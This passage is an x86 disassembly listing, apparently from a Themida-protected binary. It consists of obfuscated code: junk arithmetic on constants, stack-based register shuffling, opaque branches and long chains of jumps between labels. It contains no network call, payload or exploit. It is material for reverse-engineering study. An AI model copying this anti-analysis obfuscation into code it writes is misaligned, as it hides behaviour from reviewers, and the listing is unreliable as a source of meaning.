push ecx
push edx
pop esp
loc_599B5E: ; CODE XREF: Themida_:005A0AFCj
; Themida_:005A6225j
pop eax
push edx
mov dl, 27h
jmp loc_5A3360
; ---------------------------------------------------------------------------
loc_599B67: ; CODE XREF: Themida_:005983AEj
sub cl, 0D5h
jl loc_599257
push edx
mov dh, 5Bh
xor cl, dh
pop edx
not cl
jmp loc_5ABC8B
; ---------------------------------------------------------------------------
loc_599B7D: ; CODE XREF: Themida_:005A1309j
push edx
mov dl, 0F1h
neg dl
jnz loc_59EACA
neg dl
jz loc_5AB2BA
and dl, 0A8h
sub dl, 0D6h
pop esp
loc_599B97: ; CODE XREF: Themida_:00598EE1j
mov [esp], ebx
mov ebx, 1Ch
sub ebx, 3AAA4A2Eh
sub ebx, 7CCB1703h
sub ebx, 46717B66h
sub ebx, 446D390Fh
add ebx, edi
add ebx, 446D390Fh
add ebx, 46717B66h
push eax
mov eax, 23231F6Ah
sub eax, 72A501F1h
jmp loc_5A19F7
; ---------------------------------------------------------------------------
loc_599BD5: ; CODE XREF: Themida_:loc_5AA078j
xor ebx, 60763E99h
mov ebp, ebx
jmp loc_5A52C5
; ---------------------------------------------------------------------------
loc_599BE2: ; CODE XREF: Themida_:005A9D7Aj
add eax, edx
jmp loc_5A426A
; ---------------------------------------------------------------------------
loc_599BE9: ; CODE XREF: Themida_:0059EA8Cj
pop eax
pop dword ptr [esp]
pop esp
mov [esp], esi
mov esi, esp
push ecx
push edi
push 261F0E8Eh
jmp loc_5A4280
; ---------------------------------------------------------------------------
loc_599BFF: ; CODE XREF: Themida_:005A46AFj
sub ebp, ebx
add ebp, 4D5319CFh
pop ebx
xchg ebp, [esp]
pop esp
mov [esp], esi
push 76073252h
mov esi, [esp]
jmp loc_5A81B7
; ---------------------------------------------------------------------------
loc_599C1C: ; CODE XREF: Themida_:005A647Fj
mov edx, 5B837635h
sub esi, edx
pop edx
add ebx, esi
pop esi
jmp loc_59BBD2
; ---------------------------------------------------------------------------
loc_599C2C: ; CODE XREF: Themida_:0059FBD1j
push esp
pop eax
sub esp, 4
mov [esp], edi
push eax
push 0B5A1E32h
pop eax
xor eax, 0B5A1E36h
mov edi, eax
pop eax
add eax, 459D300Eh
add eax, edi
sub eax, 459D300Eh
jmp loc_5A35AF
; ---------------------------------------------------------------------------
loc_599C57: ; CODE XREF: Themida_:005AE75Aj
add esi, edx
add esi, 1305770Ch
pop edx
or esi, 4B805DB1h
jg loc_5AB63B
shr esi, 7
jnp loc_599EF6
add esi, 210C7189h
and dh, 8
push eax
loc_599C7F: ; CODE XREF: Themida_:0059A243j
pop ebp
add esp, 4
sub esp, 4
mov [esp], ebx
mov ebx, 59956E54h
push esi
jmp loc_5984CE
; ---------------------------------------------------------------------------
loc_599C97: ; CODE XREF: Themida_:005A5C88j
push edi
mov edi, 9F63B7C2h
push edx
mov edx, 11256995h
sub ebx, edx
pop edx
sub ebx, 6C8F6F5Ch
add ebx, edi
add ebx, 6C8F6F5Ch
add ebx, 11256995h
mov edi, [esp]
add esp, 4
jmp loc_5A733F
; ---------------------------------------------------------------------------
loc_599CC8: ; CODE XREF: Themida_:005AB78Cj
push dword ptr [esp]
mov esi, [esp]
add esp, 4
add esp, 4
push 7E3Ah
mov [esp], edx
push 7E5Ch
mov [esp], edi
mov edi, 2C8B1A13h
jmp loc_5A5F6F
; ---------------------------------------------------------------------------
loc_599CF1: ; CODE XREF: Themida_:005A1E30j
pop edi
and edx, 120942FFh
jmp loc_5AB79B
; ---------------------------------------------------------------------------
loc_599CFD: ; CODE XREF: Themida_:005AB80Dj
push ebx
push edx
mov dh, 57h
xor dh, 60h
jns loc_5AE707
or dh, 7Eh
jmp loc_5A69D8
; ---------------------------------------------------------------------------
mov esi, 46E03866h
push ebx
loc_599D18: ; CODE XREF: Themida_:005AEE5Ej
add eax, 71412064h
jnb loc_5AB984
add eax, 0E8BB92D8h
jmp loc_5AD0FD
; ---------------------------------------------------------------------------
loc_599D2D: ; CODE XREF: Themida_:005AE7A5j
pop esi
and edx, edi
pop edi
xchg esi, edx
not esi
push edx
jmp loc_5A27CF
; ---------------------------------------------------------------------------
loc_599D3B: ; CODE XREF: Themida_:0059C4F1j
mov ebp, [esp]
jmp loc_5AA991
; ---------------------------------------------------------------------------
loc_599D43: ; CODE XREF: Themida_:0059A9CBj
jmp loc_59838C
; ---------------------------------------------------------------------------
loc_599D48: ; CODE XREF: Themida_:005A3D17j
mov esi, [esp]
push ebx
jmp loc_5A2534
; ---------------------------------------------------------------------------
loc_599D51: ; CODE XREF: Themida_:005A3D7Dj
xor ebp, [esp]
jmp loc_5A835A
; ---------------------------------------------------------------------------
loc_599D59: ; CODE XREF: Themida_:005A3953j
push edx
mov edx, 4EE319EAh
sub esp, 4
mov [esp], ebp
mov ebp, 543559AEh
dec ebp
not ebp
jmp loc_59F768
; ---------------------------------------------------------------------------
loc_599D72: ; CODE XREF: Themida_:005ACA34j
sub eax, 5D012487h
not eax
jmp loc_59A2E2
; ---------------------------------------------------------------------------
loc_599D7E: ; CODE XREF: Themida_:005ABF83j
pop ecx
add esp, 4
sub esp, 4
mov [esp], edi
sub esp, 4
push esp
pop dword ptr [esp]
add dword ptr [esp], 4
pop edi
push eax
jmp loc_59A27D
; ---------------------------------------------------------------------------
loc_599DA3: ; CODE XREF: Themida_:005AADB6j
mov eax, 66C560BBh
or eax, 21F11384h
dec eax
xor eax, 58252B0Fh
xor eax, 36792564h
push edx
mov edx, 63D365Ah
jmp loc_59CE6E
; ---------------------------------------------------------------------------
loc_599DC3: ; CODE XREF: Themida_:005AC3D7j
pop edx
mov ch, bl
jmp loc_59DBAE
; ---------------------------------------------------------------------------
loc_599DCB: ; CODE XREF: Themida_:005A4310j
pop cx
jmp loc_59D39F
; ---------------------------------------------------------------------------
loc_599DD2: ; CODE XREF: Themida_:005994FAj
mov eax, [esp]
add esp, 4
push small 0
sub [esp], dh
mov dh, [esp]
add esp, 2
shr dh, 4
jmp loc_59CB53
; ---------------------------------------------------------------------------
loc_599DF0: ; CODE XREF: Themida_:005A1F50j
; Themida_:005AA5A9j
pop eax
xchg esi, [esp]
pop esp
mov [esp], ebx
push 23D8h
mov [esp], esp
add dword ptr [esp], 4
mov ebx, [esp]
add esp, 4
add ebx, 4
push edx
mov edx, 418338A8h
inc edx
and edx, 62106B7Ah
neg edx
sub edx, 0BFFFD7D6h
add ebx, edx
pop edx
xor ebx, [esp]
xor [esp], ebx
xor ebx, [esp]
mov esp, [esp]
jmp loc_5ABE06
; ---------------------------------------------------------------------------
loc_599E3F: ; CODE XREF: Themida_:005A345Bj
push 57CEh
mov [esp], edx
sub esp, 4
mov [esp], edi
push 1D513106h
pop edi
and edi, 36554B56h
jmp loc_5AB91F
; ---------------------------------------------------------------------------
loc_599E61: ; CODE XREF: Themida_:005A4A07j
jns loc_5A43B7
sub edx, 46DC0FA9h
sub edx, 0B1B53980h
mov esi, ecx
pop ebp
loc_599E76: ; CODE XREF: Themida_:005991A6j
pop ebx
add ecx, 26930F16h
add ecx, 195C0535h
xor ebx, ecx
pop ecx
push ecx
push 36C8476Ch
pop ecx
jmp loc_598994
; ---------------------------------------------------------------------------
loc_599E92: ; CODE XREF: Themida_:005A905Aj
mov ebx, eax
jmp loc_598E1A
; ---------------------------------------------------------------------------
loc_599E99: ; CODE XREF: Themida_:005A51ADj
pop ebx
pop dword ptr [esp]
pop esp
jmp loc_5A818D
; ---------------------------------------------------------------------------
loc_599EA3: ; CODE XREF: Themida_:005AEAC5j
mov ebp, edx
pop edx
jmp loc_5AC2B5
; ---------------------------------------------------------------------------
loc_599EAB: ; CODE XREF: Themida_:00598863j
push 1133h
mov [esp], eax
push ebp
mov ebp, 544D12ECh
jmp loc_59DAF5
; ---------------------------------------------------------------------------
loc_599EBE: ; CODE XREF: Themida_:0059B91Ej
; Themida_:005AF410j
mov ebx, 1
and ecx, ebx
mov ebx, [esp]
push esi
jmp loc_5A0EF2
; ---------------------------------------------------------------------------
loc_599ECE: ; CODE XREF: Themida_:0059AB6Bj
sub eax, edx
pop edx
jmp loc_5A6310
; ---------------------------------------------------------------------------
loc_599ED6: ; CODE XREF: Themida_:0059F792j
jmp loc_59FAEF
; ---------------------------------------------------------------------------
loc_599EDB: ; CODE XREF: Themida_:0059CFFBj
xor edi, 0D7791B02h
sub ebp, edi
pop edi
pop edi
or [edi+1Ch], ebp
mov ebp, [esp]
add esp, 4
jmp loc_59838C
; ---------------------------------------------------------------------------
loc_599EF6: ; CODE XREF: Themida_:00599C6Fj
add esi, 210C7189h
jmp loc_5AF058
; ---------------------------------------------------------------------------
loc_599F01: ; CODE XREF: Themida_:00598675j
mov ebx, esp
add ebx, 4
push 364Dh
mov [esp], eax
jmp loc_598E90
; ---------------------------------------------------------------------------
loc_599F16: ; CODE XREF: Themida_:005A9F84j
push ecx
dec byte ptr [esp+1]
pop ecx
shl ch, 5
add ch, 0Eh
add al, ch
jmp loc_59BD60
; ---------------------------------------------------------------------------
loc_599F29: ; CODE XREF: Themida_:005AC409j
mov eax, 4
push 7CA8h
jmp loc_5A660B
; ---------------------------------------------------------------------------
loc_599F38: ; CODE XREF: Themida_:0059E679j
xor [esp], eax
xor eax, [esp]
pop esp
jmp loc_5AB092
; ---------------------------------------------------------------------------
loc_599F44: ; CODE XREF: Themida_:005A694Dj
pop ebx
add al, 92h
sub al, 94h
push ecx
mov cl, 0FDh
neg cl
neg cl
jmp loc_5A4973
; ---------------------------------------------------------------------------
loc_599F55: ; CODE XREF: Themida_:005AA3BCj
add edx, 320B1570h
sub edx, 68B0464Ch
sub edx, 32B101F7h
jmp loc_5AC665
; ---------------------------------------------------------------------------
loc_599F6C: ; CODE XREF: Themida_:0059C575j
dec ecx
not ecx
jmp loc_5A8D92
; ---------------------------------------------------------------------------
loc_599F74: ; CODE XREF: Themida_:005A800Cj
push edx
jmp loc_5AA310
; ---------------------------------------------------------------------------
loc_599F7A: ; CODE XREF: Themida_:005A28FBj
or ebp, ecx
pop ecx
add ebp, 46C750E7h
xor ebp, 39F00D53h
sub ebp, 9A79E5B3h
add eax, ebp
pop ebp
sub esp, 4
mov [esp], ecx
push esi
jmp loc_5AAA8C
; ---------------------------------------------------------------------------
loc_599F9E: ; CODE XREF: Themida_:005A51C5j
pop eax
add ecx, 4
xchg ecx, [esp]
pop esp
add ecx, 69A00AF5h
sub ecx, ebx
sub ecx, 69A00AF5h
pop ebx
add ebx, ecx
mov ecx, [esp]
add esp, 4
xchg ebx, [esp]
mov esp, [esp]
push ecx
push 1E58h
mov [esp], edx
jmp loc_5A75C1
; ---------------------------------------------------------------------------
loc_599FD4: ; CODE XREF: Themida_:0059A371j
pop edi
pop ebp
sub dword ptr [esp], 5B0E0DD2h
push 7EA2h
mov [esp], ebp
push edi
jmp loc_5A709F
; ---------------------------------------------------------------------------
loc_599FEB: ; CODE XREF: Themida_:005A681Dj
add esp, 4
jmp loc_5A2CE3
; ---------------------------------------------------------------------------
loc_599FF3: ; CODE XREF: Themida_:005A3FF6j
add edx, 7AB14EA7h
mov ebx, edx
pop edx
jmp loc_5ACBB8
; ---------------------------------------------------------------------------
loc_59A001: ; CODE XREF: Themida_:0059D0ADj
add cl, 2Dh
mov dh, cl
pop ecx
add dh, 5
jmp loc_5A8472
; ---------------------------------------------------------------------------
loc_59A00F: ; CODE XREF: Themida_:loc_5AD4ADj
push ebp
mov ebp, 0ED060D3h
neg ebp
and ebp, 50A13385h
not ebp
xor ebp, 0DA008D7Ah
or eax, ebp
jmp loc_5A1406
; ---------------------------------------------------------------------------
loc_59A02C: ; CODE XREF: Themida_:005A354Dj
push dword ptr [esp+4]
jmp loc_59BBBD
; ---------------------------------------------------------------------------
loc_59A035: ; CODE XREF: Themida_:005A925Bj
jmp loc_59F136
; ---------------------------------------------------------------------------
loc_59A03A: ; CODE XREF: Themida_:0059FC37j
; Themida_:005A664Dj
sub ebp, ecx
pop ecx
sub ebp, 28B52F40h
add edx, 7C6612CAh
jmp loc_59B6F5
; ---------------------------------------------------------------------------
loc_59A04E: ; CODE XREF: Themida_:005A369Ej
; Themida_:005AF180j
push ecx
jmp loc_5A0DAC
; ---------------------------------------------------------------------------
loc_59A054: ; CODE XREF: Themida_:005AA21Cj
pop edx
push ebp
jmp loc_5A1E9E
; ---------------------------------------------------------------------------
loc_59A05B: ; CODE XREF: Themida_:0059F2D4j
xor ebx, 0B7262831h
jmp loc_5A1E97
; ---------------------------------------------------------------------------
loc_59A066: ; CODE XREF: Themida_:0059A2C8j
mov eax, esp
jmp loc_59C28F
; ---------------------------------------------------------------------------
push dword ptr [esp]
pop eax
push 32A8h
mov [esp], edi
jmp loc_5ADC2F
; ---------------------------------------------------------------------------
loc_59A07E: ; CODE XREF: Themida_:0059AD27j
xor ebx, ebp
pop ebp
add ebx, 3F3239B9h
shl ebx, 3
or ebx, 6B1616F7h
jmp loc_5997C0
; ---------------------------------------------------------------------------
loc_59A095: ; CODE XREF: Themida_:loc_5A99A3j
; Themida_:005AAA9Aj
xchg esi, [esp]
pop esp
jmp loc_59F8F9
; ---------------------------------------------------------------------------
loc_59A09E: ; CODE XREF: Themida_:005A52B3j
sub eax, 5DB97B74h
jmp loc_5AD36C
; ---------------------------------------------------------------------------
loc_59A0A8: ; CODE XREF: Themida_:005A341Dj
and edi, 2DCC7124h
add edi, 0DBF7DFE0h
add eax, edi
pop edi
xchg eax, [esp]
jmp loc_59F9C7
; ---------------------------------------------------------------------------
loc_59A0BF: ; CODE XREF: Themida_:005A624Bj
add ecx, 54752313h
not ecx
add ecx, 555D239Bh
jmp loc_59F901
; ---------------------------------------------------------------------------
loc_59A0D2: ; CODE XREF: Themida_:005A0805j
mov [esp], ebp
jmp loc_5A788B
; ---------------------------------------------------------------------------
loc_59A0DA: ; CODE XREF: Themida_:005A6672j
push esp
pop ecx
add ecx, 4
add ecx, 4
xchg ecx, [esp]
pop esp
add edi, 4
push 6025h
mov [esp], ecx
push ebx
mov ebx, 2
mov ecx, ebx
mov ebx, [esp]
add esp, 4
sub edi, 2CDC4894h
jmp loc_5A1B15
; ---------------------------------------------------------------------------
loc_59A116: ; CODE XREF: Themida_:005A1D59j
sub ch, dl
pop edx
mov ebx, [esp]
add esp, 4
add al, 68h
add al, ch
sub al, 68h
push dword ptr [esp]
pop ecx
add esp, 4
push ecx
mov ch, 5Bh
and ch, 61h
jmp loc_5A938C
; ---------------------------------------------------------------------------
loc_59A137: ; CODE XREF: Themida_:005A6DB0j
sub esp, 4
jmp loc_5AE9CC
; ---------------------------------------------------------------------------
loc_59A142: ; CODE XREF: Themida_:00598735j
; Themida_:005AAE95j
push dword ptr [esp]
pop eax
jmp loc_59B64D
; ---------------------------------------------------------------------------
mov ax, [esp]
push ebx
jmp loc_5A8EAE
; ---------------------------------------------------------------------------
loc_59A155: ; CODE XREF: Themida_:0059C1E4j
pop edi
add edi, 82EB96BFh
add ecx, edi
pop edi
add ecx, 4
push ecx
jmp loc_5AB7BB
; ---------------------------------------------------------------------------
loc_59A16B: ; CODE XREF: Themida_:005AACBBj
; Themida_:005ABA7Dj
add edi, ecx
sub edi, 0D5F2FE7h
push dword ptr [esp]
pop ecx
add esp, 4
push ebp
mov ebp, 2
add edi, 475F2D6Fh
add edi, ebp
sub edi, 475F2D6Fh
pop ebp
xor edi, [esp]
xor [esp], edi
xor edi, [esp]
mov esp, [esp]
jmp loc_59DB4C
; ---------------------------------------------------------------------------
loc_59A1A0: ; CODE XREF: Themida_:005AF2EEj
or ebp, 5A602026h
xor ebp, 3E985C31h
xor ebp, 4B9A81D1h
jmp loc_5A1790
; ---------------------------------------------------------------------------
movzx ax, byte ptr [edx]
push small 73B0h
mov [esp], ax
jmp loc_59EEB0
; ---------------------------------------------------------------------------
loc_59A1C8: ; CODE XREF: Themida_:005A5A5Cj
pop edi
push 2D8Bh
mov [esp], ebp
jmp loc_5A3B2D
; ---------------------------------------------------------------------------
loc_59A1D6: ; CODE XREF: Themida_:0059CBD5j
; Themida_:loc_5AEC1Dj
add ecx, 4
xchg ecx, [esp]
pop esp
jmp loc_5A1B45
; ---------------------------------------------------------------------------
loc_59A1E2: ; CODE XREF: Themida_:005A8F39j
add esi, eax
sub esi, 36BA0E38h
pop eax
push edi
mov edi, 6C400C84h
mov ebx, 6C400C84h
push ecx
mov ecx, 6B806352h
jmp loc_5A4B65
; ---------------------------------------------------------------------------
loc_59A201: ; CODE XREF: Themida_:005A261Cj
neg edx
jl loc_59910E
xor edx, 1DAC4504h
jl loc_5A13D2
jmp loc_5A95BD
; ---------------------------------------------------------------------------
loc_59A21A: ; CODE XREF: Themida_:005A0B6Ej
sub ecx, 175FB614h
add esi, 28C0A9Dh
sub esi, 2EDA560Dh
jmp loc_5A99BC
; ---------------------------------------------------------------------------
loc_59A231: ; CODE XREF: Themida_:0059B0ECj
; Themida_:0059E843j
xor ebx, [esp]
mov esp, [esp]
push 35CAh
mov [esp], ebp
push esp
push dword ptr [esp]
jmp loc_599C7F
; ---------------------------------------------------------------------------
loc_59A248: ; CODE XREF: Themida_:0059C8E7j
push si
push ebp
mov bp, 2A7Ah
sub esp, 2
jmp loc_59C7F6
; ---------------------------------------------------------------------------
loc_59A25A: ; CODE XREF: Themida_:005AF00Ej
add ecx, 4
xchg ecx, [esp]
pop esp
add edi, 5E0E1621h
add edi, 0CC58ECF3h
and edi, 724857A7h
not edi
jmp loc_5AC6A9
; ---------------------------------------------------------------------------
loc_59A27D: ; CODE XREF: Themida_:00599D9Ej
mov eax, 101A3D6Ch
push ecx
mov ecx, 9CAC40Fh
jmp loc_5A11AD
; ---------------------------------------------------------------------------
loc_59A28D: ; CODE XREF: Themida_:005AC0C4j
push ebx
mov bh, 4Fh
or bh, 59h
jmp loc_59846E
; ---------------------------------------------------------------------------
loc_59A298: ; CODE XREF: Themida_:005A87C7j
; Themida_:005AA315j
not edx
xor edx, 0EC38A22Ah
sub ebx, edx
pop edx
push dword ptr [ebx]
sub dword ptr [esp], 0F3A43E2h
pop ecx
add ecx, 0F3A43E2h
pop ebx
push eax
mov eax, esp
add eax, 4
sub eax, 4
xchg eax, [esp]
pop esp
mov [esp], eax
jmp loc_59A066
; ---------------------------------------------------------------------------
loc_59A2CD: ; CODE XREF: Themida_:0059F2F4j
; Themida_:005A0A7Dj
add bl, ch
jmp loc_598F68
; ---------------------------------------------------------------------------
loc_59A2D4: ; CODE XREF: Themida_:005A8C73j
shr edx, 1
and edx, 578803CFh
xchg eax, edx
jmp loc_5A41BD
; ---------------------------------------------------------------------------
loc_59A2E2: ; CODE XREF: Themida_:00599D79j
push esi
mov esi, 1D18D9h
sub eax, esi
pop esi
add edx, 0D6649ACh
add edx, eax
push ebp
mov ebp, 561Fh
xor ebp, 2CE2108Dh
neg ebp
neg ebp
sub ebp, 1F7BFCE6h
sub edx, ebp
jmp loc_598B3C
; ---------------------------------------------------------------------------
loc_59A310: ; CODE XREF: Themida_:005AE3FEj
inc edx
jo loc_5A8713
xor edx, 4902666Fh
mov esi, edx
pop edx
xor ebx, esi
pop esi
push ebx
mov ebx, 4B6E4852h
add ebp, ebx
pop ebx
sub ebp, ebx
sub ebp, 4B6E4852h
pop ebx
push ebp
push dword ptr [esp+4]
pop ebp
pop dword ptr [esp]
mov esp, [esp]
mov [esp], esi
mov esi, esp
add esi, 4
add esi, 4
push 6233h
jmp loc_5AD910
; ---------------------------------------------------------------------------
loc_59A35C: ; CODE XREF: Themida_:00598FEDj
jmp loc_5A9EB6
; ---------------------------------------------------------------------------
loc_59A361: ; CODE XREF: Themida_:0059EA2Fj
; Themida_:005AA882j
push 328Ch
jmp loc_5AA946
; ---------------------------------------------------------------------------
loc_59A36B: ; CODE XREF: Themida_:005A200Ej
pop edx
sub edi, esi
pop esi
sub eax, edi
jmp loc_599FD4
; ---------------------------------------------------------------------------
loc_59A376: ; CODE XREF: Themida_:005A8188j
mov [esp], edx
mov edx, 6BE55E05h
shl edx, 3
add edx, 4254066Fh
shl edx, 8
push 2D9Eh
mov [esp], ebp
push 3756192Ch
pop ebp
xor ebp, 71751C14h
and ebp, 560253Eh
add ebp, 21233B03h
jmp loc_5AC1CD
; ---------------------------------------------------------------------------
loc_59A3AF: ; CODE XREF: Themida_:005A26B7j
sub esp, 4
mov [esp], esi
sub esp, 4
mov [esp], ebp
push 10968D2h
jmp loc_5AF4D1
; ---------------------------------------------------------------------------
loc_59A3CB: ; CODE XREF: Themida_:0059BBBEj
pop dword ptr [esp]
pop esp
mov ax, [esp]
push 3986h
mov [esp], edi
push esp
jmp loc_5AE179
; ---------------------------------------------------------------------------
loc_59A3E1: ; CODE XREF: Themida_:00599235j
; Themida_:0059C517j
pop edi
inc edi
jmp loc_5A5092
; ---------------------------------------------------------------------------
loc_59A3E8: ; CODE XREF: Themida_:005AF258j
push 6A24h
mov [esp], ecx
push esi
push 40652BAEh
pop esi
sub esi, 7DCB961h
mov ecx, esi
jmp loc_5A7CE5
; ---------------------------------------------------------------------------
loc_59A404: ; CODE XREF: Themida_:005ACA66j
mov esi, 31571AE2h
push 4DB4h
mov [esp], edi
mov edi, 494674CCh
sub eax, edi
pop edi
add eax, esi
jmp loc_5A0DCE
; ---------------------------------------------------------------------------
loc_59A420: ; CODE XREF: Themida_:005A197Cj
jmp loc_5A2F71
; ---------------------------------------------------------------------------
loc_59A425: ; CODE XREF: Themida_:005AA20Fj
sub ebp, edi
jmp loc_5A2FD2
; ---------------------------------------------------------------------------
loc_59A42C: ; CODE XREF: Themida_:0059863Dj
; Themida_:005A0AD0j
mov esi, 6D763817h
dec esi
jmp loc_59BBB6
; ---------------------------------------------------------------------------
loc_59A437: ; CODE XREF: Themida_:0059BB0Bj
pop ebx
push eax
jmp loc_5A8C37
; ---------------------------------------------------------------------------
loc_59A43E: ; CODE XREF: Themida_:005AD3E2j
inc ebx
jo loc_5A0913
inc ebx
js loc_5AB7CB
xor ebx, 9C84D652h
mov ebp, ebx
mov ebx, [esp]
mov ebp, edi
loc_59A459: ; CODE XREF: Themida_:0059AB3Fj
; Themida_:005A1E1Aj
mov ecx, [esp]
add esp, 4
add esp, 4
push 3E6h
mov [esp], edx
push edi
push ebp
mov ebp, 0F005C8Dh
sub ebp, 233C648Bh
jg loc_5AF14C
jmp loc_59C0BB
; ---------------------------------------------------------------------------
loc_59A485: ; CODE XREF: Themida_:005A5EF2j
push ebx
push ecx
mov ecx, 2E807594h
xor ecx, 76AC2F20h
add ecx, 0ACB909E7h
mov ebx, ecx
pop ecx
sub esi, ebx
mov ebx, [esp]
add esp, 4
pop edx
xor esi, [esp]
xor [esp], esi
xor esi, [esp]
pop esp
inc word ptr [esp]
pushf
jmp loc_59838C
; ---------------------------------------------------------------------------
loc_59A4B8: ; CODE XREF: Themida_:005A44CEj
pop esi
jmp loc_59E838
; ---------------------------------------------------------------------------
loc_59A4BE: ; CODE XREF: Themida_:0059FE76j
sub esp, 4
mov [esp], edi
mov edi, esp
push 7E53h
mov [esp], ecx
mov ecx, 667943AEh
push edi
jmp loc_5A67B0
; ---------------------------------------------------------------------------
loc_59A4DC: ; CODE XREF: Themida_:005AD6BEj
push esi
mov si, 265Ah
not si
push edi
mov di, 442Dh
jmp loc_59D6BB
; ---------------------------------------------------------------------------
loc_59A4EE: ; CODE XREF: Themida_:005A4A8Bj
push edx
mov edx, 4
add [esp+4], edx
pop edx
jmp loc_5A6584
; ---------------------------------------------------------------------------
loc_59A4FE: ; CODE XREF: Themida_:005A80BFj
push edi
mov edi, 69A67DC9h
push ecx
mov ecx, 1
add edi, ecx
pop ecx
sub edi, 41C67FC0h
add edi, 0DA2001F7h
add ebx, edi
pop edi
loc_59A51C: ; CODE XREF: Themida_:005A26C8j
sub esp, 4
mov [esp], eax
push esi
jmp loc_59C3FA
; ---------------------------------------------------------------------------
loc_59A52B: ; CODE XREF: Themida_:0059F5F7j
add esp, 4
jmp loc_5AA1F9
; ---------------------------------------------------------------------------
loc_59A533: ; CODE XREF: Themida_:005A6C91j
xor ebx, 286B7471h
jmp loc_59E850
; ---------------------------------------------------------------------------
loc_59A53E: ; CODE XREF: Themida_:005A13F4j
pop esp
push esi
push dword ptr [esp+4]
pop esi
pop dword ptr [esp]
pop esp
push ecx
sub esp, 4
jmp loc_5A54D4
; ---------------------------------------------------------------------------
loc_59A555: ; CODE XREF: Themida_:005A907Bj
mov esp, [esp]
pop dword ptr [esp]
mov esp, [esp]
test cx, ax
pushf
jmp loc_59838C
; ---------------------------------------------------------------------------
loc_59A567: ; CODE XREF: Themida_:005A15A7j
sub edx, ebp
pop ebp
and edx, 37F24FE4h
shr edx, 2
xor edx, 0AC1779F2h
sub edi, edx
pop edx
jmp loc_5AD578
; ---------------------------------------------------------------------------
loc_59A581: ; CODE XREF: Themida_:0059DA0Dj
; Themida_:005A7E18j
push ebx
jmp loc_5A00FF
; ---------------------------------------------------------------------------
loc_59A587: ; CODE XREF: Themida_:005AC34Fj
add esp, 4
xor ebp, [esp]
xor [esp], ebp
xor ebp, [esp]
pop esp
mov [esp], edx
mov edx, 258515DCh
sub edx, 715554CEh
sub eax, 39394CD4h
jmp loc_5A2FA2
; ---------------------------------------------------------------------------
loc_59A5AC: ; CODE XREF: Themida_:005AB88Bj
pop eax
jmp loc_5A080A
; ---------------------------------------------------------------------------
loc_59A5B2: ; CODE XREF: Themida_:005A64BBj
; Themida_:005AC59Cj
mov al, dh
pop edx
sub ch, al
mov ax, [esp]
add esp, 2
jmp loc_5A77C3
; ---------------------------------------------------------------------------
loc_59A5C3: ; CODE XREF: Themida_:005A1785j
add edi, edx
add edi, 6E765D0Fh
push esi
jmp loc_59F3B5
; ---------------------------------------------------------------------------
loc_59A5D1: ; CODE XREF: Themida_:005A8E1Aj
push cx
sub esp, 4
mov [esp], edx
mov dl, 23h
push ebx
mov bh, 4Dh
mov cl, 0A3h
jmp loc_59CC34
; ---------------------------------------------------------------------------
loc_59A5E8: ; CODE XREF: Themida_:005AB480j
jmp loc_5ADB7E
; ---------------------------------------------------------------------------
loc_59A5ED: ; CODE XREF: Themida_:0059ACE2j
neg ebx
dec ebx
inc ebx
add ebx, 21224779h
xor ebx, 0D5C40E7Dh
jmp loc_59C07B
; ---------------------------------------------------------------------------
loc_59A602: ; CODE XREF: Themida_:005A7B20j
sub esp, 4
jmp loc_5ACBD5
; ---------------------------------------------------------------------------
loc_59A60A: ; CODE XREF: Themida_:005A0EB3j
pop ebx
push edx
mov edx, 28A320BBh
and edx, 7067141Ah
push esi
mov esi, 63846C2Fh
sub edx, esi
pop esi
jmp loc_5A9B44
; ---------------------------------------------------------------------------
loc_59A625: ; CODE XREF: Themida_:005993A7j
push dword ptr [esp+4]
pop edi
pop dword ptr [esp]
pop esp
jmp loc_5A6623
; ---------------------------------------------------------------------------
loc_59A633: ; CODE XREF: Themida_:00599028j
mov ecx, esp
add ecx, 4
add ecx, 4
xchg ecx, [esp]
pop esp
push eax
mov eax, 7D785340h
shl eax, 5
push edx
mov edx, 50F59804h
sub eax, 1C0F4906h
jmp loc_5A3857
; ---------------------------------------------------------------------------
loc_59A65B: ; CODE XREF: Themida_:0059997Dj
; Themida_:005A328Fj
mov edi, 1D68780Fh
push esi
mov esi, 32744725h
jmp loc_5A6120
; ---------------------------------------------------------------------------
loc_59A66B: ; CODE XREF: Themida_:005AD097j
xor ecx, 2DE2309Bh
push edi
mov edi, 792EA419h
jmp loc_5A6B85
; ---------------------------------------------------------------------------
loc_59A67C: ; CODE XREF: Themida_:005AF2B3j
sub ebx, edx
sub ebx, 7A60009Eh
jmp loc_598E85
; ---------------------------------------------------------------------------
loc_59A689: ; CODE XREF: Themida_:00598F19j
; Themida_:0059D75Ej
mov ebp, 464D2FCBh
jmp loc_5A915E
; ---------------------------------------------------------------------------
loc_59A693: ; CODE XREF: Themida_:005A98FBj
add esp, 4
add ecx, 4
add ecx, 2
jmp loc_5AB0D6
; ---------------------------------------------------------------------------
loc_59A6A7: ; CODE XREF: Themida_:005A94D5j
sub ebx, 0FFFFFFFFh
and ebx, 78003E9h
push esi
jmp loc_59B252
; ---------------------------------------------------------------------------
loc_59A6B6: ; CODE XREF: Themida_:005A0EBEj
add edx, 749C4715h
jl loc_5ADA51
jmp loc_5A462F
; ---------------------------------------------------------------------------
loc_59A6C7: ; CODE XREF: Themida_:005A5631j
and eax, 0A63480Dh
jnp loc_5ABEFF
shr eax, 7
jmp loc_59CAD1
; ---------------------------------------------------------------------------
mov bl, al
loc_59A6DC: ; CODE XREF: Themida_:005AF38Dj
push edx
mov edx, 14115E05h
inc edx
jp loc_5A01C2
jmp loc_59BAD7
; ---------------------------------------------------------------------------
jmp loc_5A7672
; ---------------------------------------------------------------------------
pop ebp
add ebx, ebp
sub al, 0F0h
loc_59A6F8: ; CODE XREF: Themida_:005A0DA7j
xor ebp, 226E73DCh
push dword ptr [esp]
mov eax, [esp]
jmp loc_59A921
; ---------------------------------------------------------------------------
loc_59A709: ; CODE XREF: Themida_:005ABA5Dj
pop ecx
pop dword ptr [esp]
jmp loc_5A267A
; ---------------------------------------------------------------------------
loc_59A712: ; CODE XREF: Themida_:005AD172j
mov [esp], ebx
pop ecx
pop ebx
add eax, ecx
push dword ptr [esp]
pop ecx
push 475Eh
mov [esp], ecx
mov ecx, esp
add ecx, 4
add ecx, 4
xor ecx, [esp]
xor [esp], ecx
xor ecx, [esp]
jmp loc_5A8273
; ---------------------------------------------------------------------------
loc_59A73E: ; CODE XREF: Themida_:005A9C74j
pop edx
jmp loc_5A126E
; ---------------------------------------------------------------------------
loc_59A744: ; CODE XREF: Themida_:005A94A9j
sub esp, 4
jmp loc_59B3CF
; ---------------------------------------------------------------------------
loc_59A74F: ; CODE XREF: Themida_:005A3C14j
pop ebp
jmp loc_5A10BB
